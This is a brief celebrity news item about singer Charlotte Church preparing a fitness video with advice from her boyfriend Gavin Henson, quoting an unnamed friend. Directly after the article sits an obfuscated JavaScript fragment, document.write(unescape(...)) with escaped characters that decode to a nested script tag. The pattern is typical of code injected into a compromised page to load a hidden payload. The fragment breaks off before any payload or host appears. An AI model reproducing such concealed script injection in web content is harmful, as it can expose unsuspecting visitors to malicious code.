Charlotte Church is shaping-up for a new fitness video.
The 19-year-old has reportedly going through her fitness regime with her boyfriend Gavin Henson.
According to Closer magazine she wants to combine a healthy diet with gym sessions and has been getting Gavin's advice.
A friend said: "She wants to be able to give it her all and look her best. She looks at Gavin and sees just how fit he is and has decided to tone up her own body. Its not about losing weight. It's about feeling healthy and good about herself."
The friend added: "She wants to show people that you can stay healthy and look good without dieting or doing crazy workouts."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22